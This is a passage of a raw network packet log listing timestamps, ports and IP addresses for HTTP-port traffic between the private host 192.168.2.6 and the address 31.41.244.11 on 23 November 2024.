Nov 23, 2024 13:28:12.884274006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.884341955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.884628057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.884689093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.884706974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.884757042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.885507107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.885571003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.885624886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.885889053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.886394024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.886456966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.886501074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.886549950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.887368917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.887482882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.887511969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.887538910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.888360023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.888425112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.888470888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.888521910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.889353991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.889430046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.889436960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.889710903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.890305996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.890428066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.890552044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.891298056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.891366005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.891410112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.891460896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.892285109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.892375946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.892486095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.893255949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.893367052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.893428087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.894313097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.894399881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.894423008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.894634962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.895242929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.895334005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.895368099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.895462990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.896220922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.896326065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.896377087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.896377087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.897193909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.897314072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.897351980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.897413969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.898178101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.898307085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.898356915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.899166107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.899261951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.899286032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.899336100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.900151014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.900279999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.900299072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.900322914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.901134968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.901199102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.901236057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.901324034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.902093887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.902167082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.902215004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.902339935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.903069973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.903152943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.903235912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.903318882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.904073000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.904129028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.904206038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.904274940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.905056953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.905153990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.905170918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.905288935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.906060934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.906145096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.906192064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.906192064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.907021999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.907088041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.907124043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.907162905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.908014059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.908086061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.908123970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.908179045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.909008026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.909084082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.909109116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.909209013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.909985065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.910044909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.910084009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.910141945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.910953999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.911007881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.911061049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.911128044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.911963940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.912038088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.912070990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.912117958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.912914991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.912992001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.913041115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.913254976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.913923025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.914016962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.914170027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.914921999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.914993048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.915045023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.915889978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.915997982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.916018009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.916151047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.916913033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.916990042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.917016029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.917104006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.917864084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.917965889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.918015003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.918039083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.919136047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.919243097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.919331074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.920141935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.920214891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.920252085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.920296907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.920823097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.920897961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.920938015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.921000957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.921780109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.921860933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.921876907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.921922922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.922768116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.922869921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.922918081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.922918081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.923737049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.923815012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.923858881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.924012899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.924808025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.924877882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.924957991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.925012112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.925728083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.925798893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.925827980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.926017046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.926697969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.926743031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.926763058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.927046061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.927680969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.927795887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.927825928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.927848101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.928663969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.928730965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.928796053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.928909063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.929665089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.929748058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.929775953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.929835081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.930663109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.930742979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.930805922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.930861950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.931611061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.931691885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.931734085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.931840897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.932622910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.932681084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.932718039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.932774067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.933581114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.933660030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.933696985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.933748960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.934598923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.934653997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.934691906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.934776068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.935518980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.935614109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.085989952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.086131096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.086198092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.086292982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.086359024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.086416960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.087359905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.087443113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.087447882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.087583065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.088269949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.088371038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.088382006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.088485956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.089266062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.089351892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.089365005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.089390993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.090265989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.090404034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.090410948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.090714931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.091248035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.091320992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.091332912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.091494083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.092212915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.092241049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.092272043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.092308044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.093264103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.093367100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.093439102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.094175100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.094296932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.094343901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.095174074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.095283031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.095326900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.095383883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.096159935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.096252918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.096296072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.096370935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.097141027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.097244024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.097343922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.097745895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.098112106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.098225117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.098282099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.099088907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.099148989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.099226952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.099287033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.100068092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.100183964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.100227118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.100342989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.101073980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.101161957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.101434946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.102029085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.102129936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.102211952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.103018045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.103102922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.103147984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.103264093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.104013920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.104104042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.104119062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.104167938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.104980946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.105051994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.105125904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.105232000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.106029987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.106142998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.106234074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.106945038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.107017994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.107052088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.107114077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.107947111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.108010054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.108053923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.108107090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.108983994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.109075069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.109091997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.109405994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.109909058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.110021114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.110086918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.110905886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.111062050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.111079931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.111114025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.111891985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.111970901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.111999989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.112227917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.112865925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.112965107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.112972021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.113285065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.113830090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.113959074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.114054918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.114824057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.114937067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.114957094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.114996910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.115932941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.115991116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.115997076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.116070032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.116780996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.116889000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.116902113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.116950035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.117784023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.117862940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.117892027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.117938995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.118751049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.118870020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.118921041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.118921041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.119750023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.119859934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.119929075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.120778084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.120902061 CET	80	49729	31.41.244.11	192.168.2.6
